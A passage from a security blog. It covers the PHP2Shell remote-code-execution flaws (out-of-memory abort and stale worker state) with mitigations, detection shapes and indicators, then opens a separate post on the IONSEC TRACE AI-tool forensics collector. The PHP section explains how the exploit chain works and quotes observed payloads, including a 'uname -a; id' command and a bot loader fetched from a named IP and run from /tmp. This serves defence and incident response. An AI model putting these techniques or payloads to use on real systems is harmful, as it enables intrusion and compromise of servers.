From the advisory: PHP uses `longjmp()` for out-of-memory errors to abort handling of the request. In some contexts request memory is temporarily reachable before it is fully initialized; if an allocation fails there, PHP leaves the request memory in an invalid state, and request shutdown may then read or branch on it.

Why would an attacker control the moment memory runs out? Because **out-of-memory is the one abort an unauthenticated request can schedule on demand, through PHP's multipart parser.** [Datadog](https://securitylabs.datadoghq.com/articles/php2shell-critical-vulnerabilities-in-php/) walked one instance on PHP 8.5.11, Apache prefork with mod_php, 16M `memory_limit`: a hash table insert increments the bucket counter *before* the key is copied into PHP-owned memory — land the OOM between the two steps, and the table keeps a counted-but-never-initialized bucket. Request teardown visits it and interprets whatever the allocator handed back as live PHP values; with the heap groomed, those bytes are attacker-chosen, and the chain ends in a `system()` call.

The amplifiers are named in the advisory, and each is ordinary-looking on the wire:

- a multipart body with no usable declared Content-Length passes the `post_max_size` check and keeps supplying decoded data;
- an unbounded number of headers inside one part — headers cost far more in PHP's representation than on the wire, so a body under `post_max_size` can exceed `memory_limit`;
- empty file controls, which do not count toward `max_file_uploads` but still build full file-metadata arrays;
- deeply nested field names, which multiply the array work.

Completion is the SAPI's job. **mod_php unconditionally invokes the request shutdown procedure, even when request startup has failed** — the advisory's words — and startup is where automatic body parsing exhausts the memory limit; *this happens entirely before any application-specific code begins execution*. That is the [validated path](https://github.com/php/php-src/security/advisories/GHSA-w8hw-w9fx-j79w): complete RCE over HTTP with default limits on normal prefork configs. FPM terminates the child instead when startup fails, removing that sequence — susceptible by source analysis after a successful startup, no complete exploit demonstrated. FrankenPHP and LiteSpeed variants are in the table above.

The patch removes the mechanism rather than the amplifiers: soft OOM now aborts gracefully at the next VM safe point, and a hard `_exit()` fires above a second threshold, so shutdown no longer sees invalid state. The advisory's parting note is availability, not comfort — the new OOM semantics carry their own risk to review.

## CVE-2026-109619: worker state that outlives its request

The second advisory describes the same lifecycle from the other side. PHP keeps worker-global state — error, session, object and extension state — some of it pointing into memory owned by a single request, normally reset before that memory is released. Two classes of operation break the invariant because they run before the next request's ordinary initialization:

- a **producer** stores request-owned state into a global and gets interrupted before the matching reset — a fatal error (a parse failure, an uncaught error, a `require` failure, exceeding the execution time limit), an OOM after the state was already published, or a non-fatal diagnostic during shutdown that repopulates error state after it was cleared;
- a **consumer** is that early operation reading, freeing or branching on the stale pointer before normal request initialization resets it.

Exploitation needs the producer and the consumer in **two different HTTP requests handled by the same worker** — how every busy worker behaves; turnover lowers the odds per request without removing the condition.

Two consumers are confirmed:

- **INI diagnostics applied before request initialization.** Applying configuration — per-directory rules, legacy directives — can raise warnings and deprecations while the engine is still initializing, touching the stale error state. The advisory names the traps: `auto_detect_line_endings=1`, legacy `assert.*` and session settings on 8.3+, invalid `zend.assertions`, `memory_limit`, `date.timezone`, mbstring and iconv directives. The knob that seems to protect does not: `error_reporting`, `@`, `display_errors` and `log_errors` are irrelevant — the diagnostic touches the global before PHP decides whether to report it. On mod_php, `.htaccess` and `php_value` apply *before* `php_request_startup()`; on FPM, pool values apply at worker start and `.user.ini` too late, so the FPM exposure is a frontend injecting `PHP_VALUE`/`PHP_ADMIN_VALUE` that produce an early diagnostic.
- **Session upload progress, before ordinary session initialization.** Multipart handling can reach session handling before PHP's ordinary session initialization runs, so an upload-progress request can consume session or decoder state left by an interrupted request. The advisory's sentence: *"Session upload progress is enabled by default, and no application call to session_start() is required."* An application that never touches sessions is still reachable.

Two producer/consumer cases are confirmed. **PHP 8.5's `fatal_error_backtraces`**: fatal-error reporting stores a request-owned backtrace in `EG(last_fatal_error_backtrace)`, shutdown never resets it, and a diagnostic on the next request reaches it first — the strongest demonstrated case, and the basis of the confirmed mod_php exploitation. **The session upload-progress lifecycle**: validated against mod_php *and* FPM. On mod_php the producer and fatal error can both happen during multipart startup; on FPM that sequence kills the child, so the validated FPM path publishes state during application execution, hits a fatal error, then uses an upload-progress request as the early consumer, which works against a normal dynamic FPM pool given a suitable application operation.

### When chaining actually helps

Both advisories validate standalone paths, so **either CVE is independently exploitable** — chaining is for reliability. A corruption primitive needs addresses that ASLR randomises; a leak removes the guessing. [Wiz](https://www.wiz.io/blog/php2shell-php-rce)'s `php2shell` script chained its memory-disclosure primitive — session state left pointing at freed request memory, whose reclaimed content a later multipart request gets URL-encoded into the `PHPSESSID` response cookie, with no `session_start()` anywhere — into the corruption primitive to hit WordPress, Drupal and Joomla images. [VulnCheck](https://www.vulncheck.com/blog/php2shell-vulnerabilities)'s exploit is the same shape: leak-chained RCE on PHP 8.4.10–8.4.26, x86-64, ASLR enabled, against `display_errors=off` — the recommended production config, not an error page that leaks an address.

The leak primitive also stands alone as a finding: an application-agnostic disclosure of worker memory — passwords, tokens, API keys, certificates per Wiz — and it leaves a response-side artefact we return to in detection.

## What the wild has and has not shown

**Before the patch:** [Amazon's MadPot](https://aws.amazon.com/blogs/security/amazon-threat-intelligence-identifies-php2shell-exploitation-prior-to-public-disclosure-in-madpot/) recorded an attempt on **17 October — four days before disclosure** — from a commercial anonymisation network; AWS is explicit that it is unclear how the actor acquired exploit information before disclosure. On 20 October a "Tell HN" post circulated the two reserved CVE ids with the wrong severity estimate; a PoC video was published by mistake, pulled, and kept circulating — the name `php2shell` left with it. [Cloudflare](https://blog.cloudflare.com/php-vulnerabilities-waf-protection/) had its managed rules protecting free and paid plans by default from 03:02 UTC on the 21st, about nine hours ahead of the announcement.

**After the patch:** the first request shaped by the leaked tooling reached [ELLIO](https://ellio.tech/en/blog/php2shell-what-we-observed-and-what-to-do/)'s sensors at 08:36 UTC on 21 October — five and a half hours before the fixes were public — under a user-agent naming one of the two CVEs, the wrong one for its payload. By 23:00 UTC its sensors held 33 addresses sending 743 requests with the session upload-progress field, grouped into tool families on unrelated hosting networks across continents. [Cloudflare counted millions of attempts](https://blog.cloudflare.com/php-vulnerabilities-waf-protection/) with payloads mutated to work around its rules. [F5](https://www.f5.com/labs/articles/php2shell-exploitation-attempts-observed) put the mix at ~98% of events on the CVE-2026-109619 path against ~2% on CVE-2026-109618, and noted that much of the traffic blends in — the top user-agents on day one included plain `Mozilla/5.0`, `curl/8.5.0` and ordinary Chrome strings, alongside a self-announcing minority naming itself `php2shell-scan/109618`.

**What has not been observed anywhere in that telemetry: a confirmed compromise.** VulnCheck reviewed hundreds of post-leak PoC repositories and found very few working — ASLR and per-request heap layout do the work a scanner author hoped a string would; the one public PoC that defeats ASLR works only for PHP 8.4.26, x86-64, default heap. ELLIO dissected the sprayed payloads as structurally unfinished: every pointer zeroed, so the first dereference reads address zero, with `JACKALPOC` and `uname -a; id` as shipped defaults. Sophos is the vendor that claimed success — 22 October, "observed successful exploitation ... in customer environments" — and corrected itself the same evening: *"there is no evidence of a successful compromise due to these vulnerabilities"* ([Sophos](https://www.sophos.com/en-us/blog/proof-of-concept-exploit-released-for-php-vulnerabilities-109618-109619)). CISA's 21 October alert said it had not observed exploitation at publication; neither CVE is in the KEV catalog today — we checked the feed on 23 October. The one weaponized exception is private: VulnCheck's CVE-2026-109618 exploit, customer-only since 22 October.

**Attribution: none.** No vendor has named an actor; multiple payloads, multiple anonymisation networks and tool families with no shared infrastructure point the other way. The fingerprint is on the payload side: one tool family swapped the PoC's command default for a live loader — a **Potassium** build, a Mirai-derived DDoS bot with no self-spread and no persistence — fetched from `92.118.112[.]100`, written to `/tmp/nfs`, run as `./nfs php`. ELLIO and Sophos publish identical hashes for the ELF x86-64 loader (179,632 bytes, statically linked, stripped): SHA-256 `0c5486f06620e26e316f4b33f318b0d646d5e1133789331aa2fed012360d1486`, MD5 `b61a098fc62a2c2696e196dca78da71a`. Its C2 is `134[.]199[.]154[.]64` on fourteen high ports, derived by a transform of the published address `134.154.64.199` — which belongs to a university network; block the derived address and the update host at `117.55.202.115`, never the published one.

**Why the "exploited" claims got retracted** is worth saying once, because the next CVE will run the same cycle: in coarse telemetry an attempt and a success look alike. A crashed worker, a memory-limit fatal, a canary echoed back — all read as exploitation until someone walks the follow-through: new files in the web root, new cron jobs, new accounts tied to PHP processes, workers spawning shells. ELLIO's deception sensors documented one operator producing exactly those artefacts end to end; their absence in every network reporting so far is what the zero-compromise record rests on.

## What to do now

The advisory's own framing: updating is the only safe choice. The configuration below is what holds the door while you get there — partial, per-bug, and worth setting anyway.

**1. Patch, in this order of exposure.** Targets are 8.5.12, 8.4.27, 8.3.36 and 8.2.35 — or your distribution's backported package. Then **restart every PHP worker**: the patched binary is not loaded into running processes, so Apache, PHP-FPM and every long-running worker need the restart. Containers need image rebuilds, not pulls. Appliances and panels bundle their own runtimes — check the vendor advisory and [NCSC-NL](https://github.com/NCSC-NL/php2shell)'s per-product tracker before assuming anything is fine.

**2. Verify the runtime, not the command line.** The runtime serving requests is not the binary `php -v` runs — different builds, different php.ini files. Confirm the version and each mitigation on the runtime itself, and confirm FPM mitigations with a request actually served by PHP-FPM, which reads the pool configuration, not the CLI's php.ini. The changelog check that beats version strings:

```bash
# Debian/Ubuntu — the changelog carries the CVE id
zgrep CVE-2026-109618 /usr/share/doc/php8.1-common/changelog.Debian.gz

# RHEL/Alma/Rocky
rpm -q --changelog php-common | grep CVE-2026-109618
```

The official Docker `php:` images on 8.1 or older get no fix — rebuild on a new base.

**3. If you cannot patch today, set what the advisories name — administratively, then restart the workers.** `ini_set()` and `.user.ini` are applied too late in the lifecycle to help; these belong in php.ini, the FPM pool or the Apache configuration:

```ini
; FPM pool (pool.d/www.conf) or php.ini
php_admin_flag[session.upload_progress.enabled] = off
php_admin_value[memory_limit] = -1
; PHP 8.5 only — removes the confirmed backtrace producer
fatal_error_backtraces = 0
```

- **`memory_limit=-1` enforced where applications cannot re-set it** is the primary mitigation for CVE-2026-109618: it removes the controllable per-request trigger the demonstrated exploit relies on. Not complete — an underlying allocation failure still reaches the path.
- **`session.upload_progress.enabled=0`** blocks the confirmed session paths of CVE-2026-109619, and the same setting keeps you off [the informational advisory](https://www.php.net/archive/2026.php) published 23 October (CVE-2026-115560, a low-likelihood RCE reachable on *fully patched* builds through a runtime `ini_set()` switch of `session.serialize_handler`): php.net asks you to keep upload progress off until the next regular bugfix release.
- **`fatal_error_backtraces=0` on PHP 8.5** removes the producer of the confirmed mod_php case.
- **Conservative sizes and counts:** low `post_max_size` with `upload_max_filesize` below it, `max_input_nesting_level` down, bounds on variables, parts and headers per part, edge-enforced decoded size — including requests with no usable Content-Length.
- **Do not use `RLIMIT_AS` or `RLIMIT_DATA`** — limit failures through those land you *inside* the vulnerable path per the advisory. A cgroup/container `memory.max` is the acceptable boundary, with the caveat that killing a worker cgroup can take out everything it hosts.
- **Applications with no uploads:** block `multipart/form-data` at the edge outright, and re-test once patched:

```nginx
# nginx
if ($http_content_type ~* "multipart/form-data") { return 403; }
```

```apache
# Apache mod_rewrite
RewriteCond %{HTTP:Content-Type} multipart/form-data [NC]
RewriteRule ^ - [F]
```

Applications that do take uploads: cap parts and per-part headers at the edge, and fix attacker-reachable fatal errors — upload timeouts, import failures, error paths in cleanup code are the producers CVE-2026-109619 consumes. `pm.max_requests=1` on a small, high-value FPM pool removes worker reuse entirely, at a throughput cost.

**4. WAF and IPS rules, named.** Coverage exists; not all of it is on by default:

- **AWS WAF** — the PHP managed rule group carries `PHP2Shell_BODY` (CVE-2026-109619) in v2.3 and `PHP2Shell_BODY_Extended` (CVE-2026-109618) in v2.4, both default since 23 October; remember the body-size-cap caveat — neither rule catches header amplification ([AWS](https://aws.amazon.com/blogs/security/using-aws-waf-to-apply-mitigations-for-php2shell-rce-vulnerabilities-cve-2026-109618-and-cve-2026-109619/)).
- **Cloudflare** — managed protections default-on for free and paid plans since 03:02 UTC on 21 October, including response-side rules that can block a response indicating a successful exploit ([Cloudflare](https://blog.cloudflare.com/php-vulnerabilities-waf-protection/)).
- **Azure Front Door WAF** — managed rule `99006001` is **disabled by default**, rollout expected to complete 28 October; a custom rule matching `php_session_upload_progress` is interim coverage ([Microsoft](https://techcommunity.microsoft.com/blog/azurenetworksecurityblog/azure-waf-custom-rules-for-php2shell-mitigation/4566684)).
- **FortiGate** — IPS signatures 62657 (`PHP.longjmp.Remote.Code.Execution`) and 62658 (`PHP.stale.global.state.Remote.Code.Execution`) in definitions 37.317, plus OT virtual patches in 37.316; Fortinet couples them to appropriately configured IPS policies ([Fortinet](https://www.fortinet.com/uk/blog/industry-trends/understanding-php2shell-vulnerabilities-and-reducing-risk-while-you-patch)).
- **Cisco Talos** — Snort rules 67359, 67360 and 67375 ship in the free Community Ruleset as well as the commercial packs.

Set expectations to match the telemetry: AWS's own post notes one of the two bug classes is largely outside any WAF's reach — header amplification stays under body-size caps by construction — so a WAF buys hours, not safety.

**5. mod_php, stated plainly.** Both advisories validate pre-application RCE against mod_php, which makes it the highest-risk configuration to leave running: attack cost is one request with no application participation. Moving Apache to PHP-FPM is the structural improvement — process isolation, pool management, controllable worker lifetimes — worth doing on its own merits. It is not a substitute for the patch: FPM's validated path proves the bugs survive the migration, and the FPM configuration above is what closes the validated route.

**6. EOL versions.** 8.1 and older have no upstream fix to wait for. The posture is migration to a supported branch, or a vendor backport verified by changelog; building from source against the published 7.4/8.0/8.1 backports is the third option and a commitment. Trust version strings on none of it, per the trap above.

**7. If the runtime was exposed before you patched, work it as an incident.** Patching closes the door; it does not evict anyone inside. Check for web shells, unexpected cron jobs and new accounts tied to PHP processes; review PHP and web-server logs for worker crashes around suspicious multipart traffic; and rotate secrets the worker could read — the leak path discloses passwords, tokens, API keys and certificates held by the worker, and a patched worker does not un-leak them.

## Detection

Exploitation runs below the application, so application logs stay quiet and the signal lives in three other places: the wire, PHP's own logs, and the worker process.

Detection targets shapes rather than strings, and that is not an aesthetic choice: scanner user-agents rotate in hours — F5's day-one mix had plain `Mozilla/5.0` and `curl/8.5.0` at the top — so a UA match is a cheap alert with a short shelf life, and a shape match is a defensible one.

- a `PHP_SESSION_UPLOAD_PROGRESS` field in a multipart POST with a rotating `PHPSESSID` cookie and near-empty file parts replayed at the same endpoint — the grooming cadence of the CVE-2026-109619 attempts; the field is a legitimate PHP feature, so treat it as signal for review, not a verdict;
- the amplification shapes: hundreds of empty file controls, field names nested dozens of levels deep, one part carrying an unbounded header run;
- an unusually large or PHP-URL-encoded `PHPSESSID` response cookie after a multipart POST — the memory-disclosure canary of CVE-2026-109618, visible even on applications that never call `session_start()`;
- response bodies carrying canary strings from the observed tooling: `JACKALPOC`, `PWNED::`, `im in the matrix`, `big brother is watching`.

On the host, the cheap greps are in PHP and web-server logs — not the application's:

```
Fatal error: Allowed memory size of … bytes exhausted   — trailing a multipart POST
Maximum execution time exceeded                         — a producer of the stale state
warnings or deprecations raised before any script runs  — the INI-diagnostic consumer
FPM children dying in a loop, mod_php segfaults         — churn with no app-level cause
```

External coverage worth adopting: [Corelight](https://github.com/corelight/php2shell-detect) published open-source Zeek and Suricata detections for this event, built before coordinated disclosure; the WAF and IPS rules in the checklist are the fastest to switch on.

Released with this post: [php2shell-detector](https://github.com/ionsec/php2shell-detector). It is the three checks behind this section in one standard-library-only Python CLI — host posture (runtime version against the fixed list, SAPI exposure with mod_php rated first, the upload-progress and backtrace settings that enable CVE-2026-109619), an access-log scan against the fingerprints the sensors published, and a drift check that hashes tmpdirs against the documented loader set. The network side ships in the same repository: ten Sigma rules, Suricata SIDs 1006500–1006518 adapted from Corelight's pre-disclosure work with attribution, and a ModSecurity drop-in for what the OWASP CRS does not cover today — CRS has no PHP2Shell rule as of 23 October. Every fingerprint in the package is copied from a fetched source; the README keeps the provenance where you can check it.

## What this actually says about exploitability

Two bugs scored 9.2 across a runtime serving roughly 70% of sites with a known server language, and a week later the confirmed-compromise count is zero while millions of attempts have been logged. That combination is a result, not a reprieve — and the reasons are the point, because none of them live in the CVSS vector.

Exploitability is a property of the deployment, not the CVE. The validated paths need worker state, heap layout and SAPI behaviour to cooperate, and most deployments deny that cooperation most of the time: ASLR is a genuine barrier for the corruption paths until a leak chain removes it; FPM's child-on-failed-startup policy deletes CVE-2026-109618's pre-application sequence; worker turnover dilutes the producer/consumer pairing. The one public PoC that beat ASLR did so for one version on one architecture with one heap. None of this changes the patch decision — it changes the order you patch in, from "internet panics" to the SAPI matrix, mod_php first.

The class is not going away. Interrupting memory allocation to reach freed request memory was documented in 2004; PHP's own 2024 internal audit flagged a version of the problem and the fix stalled — the [Foundation's account](https://thephp.foundation/blog/2026/10/21/todays-php-security-release-and-how-were-strengthening-php-security/) dates the first reports to 11 August, with Wiz reporting on 24 August and OpenAI's Codex Security reaching the same root cause independently. Worker lifetimes are a permanent property of the language; the budget, reset and abort semantics around them earn a place in your code review checklist, where sanitiser differentials earned theirs.

What to keep, concretely: restart the workers (a patched binary nobody loaded protects nobody), set configuration administratively at startup rather than at `ini_set()` time, treat the SAPI choice as a risk decision instead of a legacy accident — and keep the response-side artefacts on the dashboard, because an oversized `PHPSESSID` cookie is the canary of the next request that tries this, whatever name the tool carries that day.

## References

1. php.net — *News archive 2026*: the 20 October pre-announcement, the 21 October security advisory and the 23 October informational advisory on session upload progress — <https://www.php.net/archive/2026.php>
2. php-src — *GHSA-w8hw-w9fx-j79w: RCE via OOM corruption (CVE-2026-109618)*, the primary advisory with the SAPI validation matrix and configuration mitigations — <https://github.com/php/php-src/security/advisories/GHSA-w8hw-w9fx-j79w>
3. php-src — *GHSA-6wmf-4rv5-p3rp: RCE via stale global state (CVE-2026-109619)*, the primary advisory with the producer/consumer analysis — <https://github.com/php/php-src/security/advisories/GHSA-6wmf-4rv5-p3rp>
4. PHP Foundation — *Today's PHP security release and how we're strengthening PHP security*, 21 October 2026, the discovery and disclosure history — <https://thephp.foundation/blog/2026/10/21/todays-php-security-release-and-how-were-strengthening-php-security/>
5. Wiz Research — *PHP2Shell: AI uncovers critical RCE vulnerabilities affecting 70% of the Internet*, the four bug instances and the chained exploit script — <https://www.wiz.io/blog/php2shell-php-rce>
6. CISA — *Critical Vulnerabilities in PHP Require Immediate Patching*, alert of 21 October 2026 — <https://www.cisa.gov/news-events/alerts/2026/10/21/critical-vulnerabilities-php-require-immediate-patching>
7. CERT-EU — *Security Advisory 2026-018: Critical Vulnerabilities in PHP*, v1.0 of 20 October through v1.2 of 23 October — <https://cert.europa.eu/publications/security-advisories/2026-018/>
8. AWS Security Blog — *Amazon Threat Intelligence identifies PHP2Shell exploitation prior to public disclosure in MadPot*, 21 October 2026 — <https://aws.amazon.com/blogs/security/amazon-threat-intelligence-identifies-php2shell-exploitation-prior-to-public-disclosure-in-madpot/>
9. AWS Security Blog — *Using AWS WAF to apply mitigations for PHP2Shell RCE vulnerabilities (CVE-2026-109618 and CVE-2026-109619)*, updated 23 October with rule group v2.4 — <https://aws.amazon.com/blogs/security/using-aws-waf-to-apply-mitigations-for-php2shell-rce-vulnerabilities-cve-2026-109618-and-cve-2026-109619/>
10. Cloudflare — *Cloudflare deploys protections against php2shell vulnerability*, updated 23 October — <https://blog.cloudflare.com/php-vulnerabilities-waf-protection/>
11. Microsoft — *Azure WAF custom rules for PHP2Shell mitigation*, 22 October 2026 — <https://techcommunity.microsoft.com/blog/azurenetworksecurityblog/azure-waf-custom-rules-for-php2shell-mitigation/4566684>
12. Fortinet — *Understanding PHP2Shell vulnerabilities and reducing risk while you patch*, 23 October 2026 — <https://www.fortinet.com/uk/blog/industry-trends/understanding-php2shell-vulnerabilities-and-reducing-risk-while-you-patch>
13. Corelight Labs — *php2shell-detect*, open-source Zeek notice set and Suricata rules, built before coordinated disclosure — <https://github.com/corelight/php2shell-detect>
14. Datadog Security Labs — *PHP2Shell: critical vulnerabilities in PHP*, the independent reproduction of the OOM-abort path — <https://securitylabs.datadoghq.com/articles/php2shell-critical-vulnerabilities-in-php/>
15. VulnCheck — *PHP2Shell vulnerabilities*, exploit availability, canary telemetry and the ASLR-bypass statement — <https://www.vulncheck.com/blog/php2shell-vulnerabilities>
16. F5 Labs — *PHP2Shell exploitation attempts observed*, first-24-hours telemetry and the ~98% CVE-2026-109619 share — <https://www.f5.com/labs/articles/php2shell-exploitation-attempts-observed>
17. ELLIO — *PHP2Shell: what we observed and what to do*, deception-network telemetry and the Potassium indicator set — <https://ellio.tech/en/blog/php2shell-what-we-observed-and-what-to-do/>
18. Sophos CTU — *Proof-of-concept exploit released for PHP vulnerabilities CVE-2026-109618 and CVE-2026-109619*, including the 22 October claim and its correction — <https://www.sophos.com/en-us/blog/proof-of-concept-exploit-released-for-php-vulnerabilities-109618-109619>
19. Sansec — *PHP2Shell*, the EOL backport table, changelog verification and the public-PoC reality check — <https://sansec.io/research/php2shell>
20. NCSC-NL — *php2shell*, operational information and the per-product software status tracker — <https://github.com/NCSC-NL/php2shell>

---

# IONSEC TRACE: Leave No Model Untraced — Open-Source Forensics for the AI Harness

URL: https://www.ionsec.io/resources/ionsec-trace-ai-harness-forensics
Category: Tools
Author: IONSEC DFIR Division
Published: 2026-08-13
Updated: 2026-10-24
Tags: open-source, dfir, ai-forensics, shadow-ai, velociraptor, secret-detection

IONSEC TRACE is an open-source, forensically sound collector and analyzer for AI harness evidence — now 52 collectors, a Python CLI and a Go binary with near-identical capabilities, a 103-rule secret detector, and conversation secret hunting.

## Executive summary

Every AI tool an employee installs leaves a forensic trail. The problem is that nobody was collecting it.

The past year made the endpoint's AI surface impossible to ignore. Agent runtimes moved the evidence boundary off the host and into vendor control planes <sup>[1]</sup>. Autonomous agents demonstrated the ability to chain ordinary misconfigurations into multi-day intrusions at machine speed <sup>[1]</sup>. And in parallel, a quieter wave was building on the workstation itself: developers and analysts installing local inference engines, agent frameworks, and AI coding assistants — often without IT approval, almost never with a security review, and always leaving artifacts behind.

That second wave is **shadow AI**, and it is the gap IONSEC TRACE is built to close.

**TRACE — Tool for Reconnaissance of AI & Compute Evidence** — is an open-source, forensically sound collector and analyzer for AI harness evidence. It reads artifacts without modifying them, hashes each one with SHA-256, writes a chain-of-custody manifest, and turns the result into a case file: indicators, leaked credentials, reconstructed conversations, MITRE ATLAS and ATT&CK mappings, a kill chain, a risk score and prioritized actions.

The two builds have converged. The **Go binary now has near-identical capabilities to the Python CLI** — the same platform catalog, the same 103-rule secret detector, the same analyzers, the same three report formats and the same DFIR-IRIS integration, over one shared forensic data model. Evidence collected by either is interchangeable, and either can report on the other's output. The one exception: the Go binary collects SQLite conversation stores but does not parse them — use the Python CLI when you need SQLite conversation parsing. Alongside that: **conversation secret hunting** with leak direction and per-field provenance, a **JavaScript-free HTML report**, and **17 Velociraptor artifacts** for fleet deployment.

<figure class="rf rf-wide">
  <div class="rf-stats">
    <div class="rf-stat"><b>52</b><span>platform collectors, plus 47 shadow-AI tools detected by on-disk footprint</span></div>
    <div class="rf-stat"><b>103</b><span>secret-detection rules with entropy gating and allowlists</span></div>
    <div class="rf-stat"><b>17</b><span>Velociraptor artifacts for fleet deployment</span></div>
    <div class="rf-stat"><b>2</b><span>builds — Python CLI and Go binary — with near-identical capabilities</span></div>
  </div>
</figure>

This post is written for responders and platform teams. It covers what TRACE is, the shadow-AI problem it addresses, how collection and analysis work, the forensic-soundness guarantees, and the numbers from a live end-to-end run on a working analyst workstation — including what those numbers do *not* mean.

---

## What's new — October 2026

<figure class="rf rf-wide">
  <video controls preload="metadata" playsinline poster="/assets/blog/ionsec-trace-ai-harness-forensics/trace-explainer-poster.png" style="width:100%;border-radius:12px;border:1px solid #22222e;background:#050507">
    <source src="/assets/blog/ionsec-trace-ai-harness-forensics/trace-explainer.mp4" type="video/mp4" />
    Your browser does not support the video tag.
  </video>
  <figcaption>TRACE in 52 seconds — discovery, acquisition, analysis and the report on a live endpoint. No presenter; the tool's own output is the evidence.</figcaption>
</figure>

The August release covered 27 collectors. Two months of AI-tooling churn later, the collector surface is **52**, and every new path was verified against vendor documentation before it shipped:

- **Coding agents:** Codex CLI (`~/.codex` rollout transcripts, config, credential store), Gemini CLI (both chat generations), OpenCode (SQLite since v1.2.0), Cline v4 + Roo Code, GitHub Copilot (CLI and VS Code Chat, including the 1.143 `chatSessions` harness), Warp, Goose, Kiro, Amazon Q, Zed, the pi family (pi/MiniMax/omp/senpi), Kimi Code, Qwen Code, Continue, Augment, Grok, Amp and Kilo Code.
- **Local inference and desktop:** Jan, AnythingLLM, LocalAI, Open WebUI, vLLM, Lemonade, plus ChatGPT and Claude desktop stores (metadata-only until their schemas are documented).
- **MCP client configs:** 12 → 24 locations, including Codex's TOML `[mcp_servers.*]` tables and `smithery.yaml` — the places where MCP servers, and the credentials inside their `env` blocks, actually live.
- **Velociraptor:** 15 → 17 artifacts, with the two new packs above.
- **Engineering:** a CI test workflow with a coverage gate, branch coverage, and Go `catalog`/`model` at 100% — so the parity claim is now enforced, not asserted.

Unverified paths (several desktop apps) were deliberately left out rather than guessed: a collector scanning the wrong path is worse than no collector.

---

## 1. The problem: shadow AI leaves artifacts nobody collects

Shadow AI is unsanctioned AI software that employees install without IT approval. It is the AI-era analogue of shadow IT — except the stakes are higher, because the artifacts are richer.

A local inference engine like Ollama or LM Studio stores model manifests, signing keys, conversation databases, and CLI history. An agent framework like Hermes or AutoGPT persists sessions, state databases, memories, cron jobs, secrets, and skills. An AI coding assistant like Cursor or Claude Code keeps chat history, project rules, and — critically — authentication tokens. Each of these is a forensic goldmine: they record *what the model was asked*, *what it was told*, and *what it did*.

The problem is that none of it is collected by standard endpoint tooling. Traditional DFIR collectors know where browsers, shells, and mail clients keep their data. They do not know where Ollama keeps its signing keys, or that Hermes persists a `state.db` alongside its memories, or that Cursor's `globalStorage` SQLite holds the conversation history of an AI that may have been given production credentials.

> **Takeaway 1 — Shadow AI is not a policy problem, it is an evidence problem.** You cannot govern what you cannot inventory, and you cannot investigate what you cannot collect. The first step is detection and acquisition, and that is exactly what TRACE automates.

The forensic value is not hypothetical. In the reference agentic-AI incident of 2026, the reconstruction of a 4.5-day intrusion was built from agent logs and control-plane records — evidence that only existed because someone had the foresight to collect it <sup>[1]</sup>. On the endpoint, the same logic applies in miniature: the conversation history of an unsanctioned coding assistant may be the only record of what an AI was told to do with a set of credentials.

---

## 2. What TRACE is

TRACE is a cross-platform **Python CLI** and a self-contained **Go binary**, plus a Velociraptor artifact pack. Its tagline is the promise: **"Leave no model untraced."**

The workflow is a standard four-step forensic pipeline:

```bash
# 1. Discover AI platforms on the system
trace discover

# 2. Collect all forensic artifacts (read-only, hashed, chain-of-custody)
trace collect --output /evidence --deep

# 3. Analyze collected evidence (IOCs, secrets, conversations, MITRE, risk)
trace analyze /evidence --mitre-atlas --mitre-attack --risk-score --secret-hunt

# 4. Generate reports (HTML, JSON, STIX 2.1)
trace report /evidence --format all
```

The output is a self-contained evidence package: a `CHAIN_OF_CUSTODY.json` manifest with per-file SHA-256 hashes and UTC timestamps, an `analysis_results.json` record of every derived finding, and the three reports.

### 2.1 One tool, two builds, near-identical capabilities

The Go binary began as a lean detector — useful for a fast sweep on a host with no Python, but not a substitute for the full pipeline. That asymmetry is largely gone. Both builds now implement the same platform catalog, the same secret rules, the same analyzers, the same reporters and the same IRIS integration over one shared data model. The one remaining difference: the Go binary collects SQLite conversation stores but does not parse them — use the Python CLI when you need SQLite conversation parsing.

<figure class="rf rf-wide">
  <div class="rf-card rf-phases">
    <p class="rf-eyebrow">Capability parity — Python CLI and Go binary</p>
    <div class="rf-row"><span class="rf-holds">Collection + custody</span><span class="rf-track"><span class="rf-bar" style="--w:100%;--c:#4ade80"></span></span><span class="rf-count">both</span></div>
    <div class="rf-row"><span class="rf-holds">IOC extraction</span><span class="rf-track"><span class="rf-bar" style="--w:100%;--c:#4ade80"></span></span><span class="rf-count">both</span></div>
    <div class="rf-row"><span class="rf-holds">Secret detection</span><span class="rf-track"><span class="rf-bar" style="--w:100%;--c:#4ade80"></span></span><span class="rf-count">both</span></div>
    <div class="rf-row"><span class="rf-holds">Conversation forensics</span><span class="rf-track"><span class="rf-bar" style="--w:100%;--c:#4ade80"></span></span><span class="rf-count">Python only*</span></div>
    <div class="rf-row"><span class="rf-holds">ATLAS + ATT&CK</span><span class="rf-track"><span class="rf-bar" style="--w:100%;--c:#4ade80"></span></span><span class="rf-count">both</span></div>
    <div class="rf-row"><span class="rf-holds">Kill chain + risk</span><span class="rf-track"><span class="rf-bar" style="--w:100%;--c:#4ade80"></span></span><span class="rf-count">both</span></div>
    <div class="rf-row"><span class="rf-holds">HTML · JSON · STIX</span><span class="rf-track"><span class="rf-bar" style="--w:100%;--c:#4ade80"></span></span><span class="rf-count">both</span></div>
    <div class="rf-row"><span class="rf-holds">DFIR-IRIS push</span><span class="rf-track"><span class="rf-bar" style="--w:100%;--c:#4ade80"></span></span><span class="rf-count">both</span></div>
  </div>
  <figcaption>Figure 1 — Near-parity is the point: the build you can run on the host is never the weaker one. *The Go binary collects SQLite conversation stores but does not parse them; conversation forensics over those stores requires the Python CLI.</figcaption>
</figure>

This matters operationally. The moment you are on a host where installing a package is not an option — a locked-down endpoint, a server mid-incident, a machine you must not change — you should not have to accept a reduced collection. The Go binary has a single pure-Go dependency — a Zstandard decoder, for compressed transcripts — so it still cross-compiles for macOS, Linux and Windows on both architectures with no cgo, and runs the same pipeline end to end (it collects SQLite conversation stores but does not parse them):

```bash
# One-shot: discover → collect → analyze → HTML + JSON + STIX
./trace run -o /evidence
```

### 2.2 The collector surface

TRACE ships 52 collectors across four categories, plus four live-detection layers and a shadow-AI sweep that recognises 47 further tools by their on-disk footprint:

<figure class="rf rf-wide">
  <div class="rf-grid rf-grid--4">
    <div class="rf-cell">
      <span class="rf-tag" style="--c:#4ade80">Inference</span>
      <h4>Local engines</h4>
      <p>Ollama, LM Studio, llama.cpp, GPT4All, text-generation-webui, KoboldCpp, LiteLLM, Bifrost, Unsloth, Jan, AnythingLLM, LocalAI, Open WebUI, vLLM, Lemonade.</p>
      <p>Model manifests, signing keys, conversation DBs, CLI history, config.</p>
    </div>
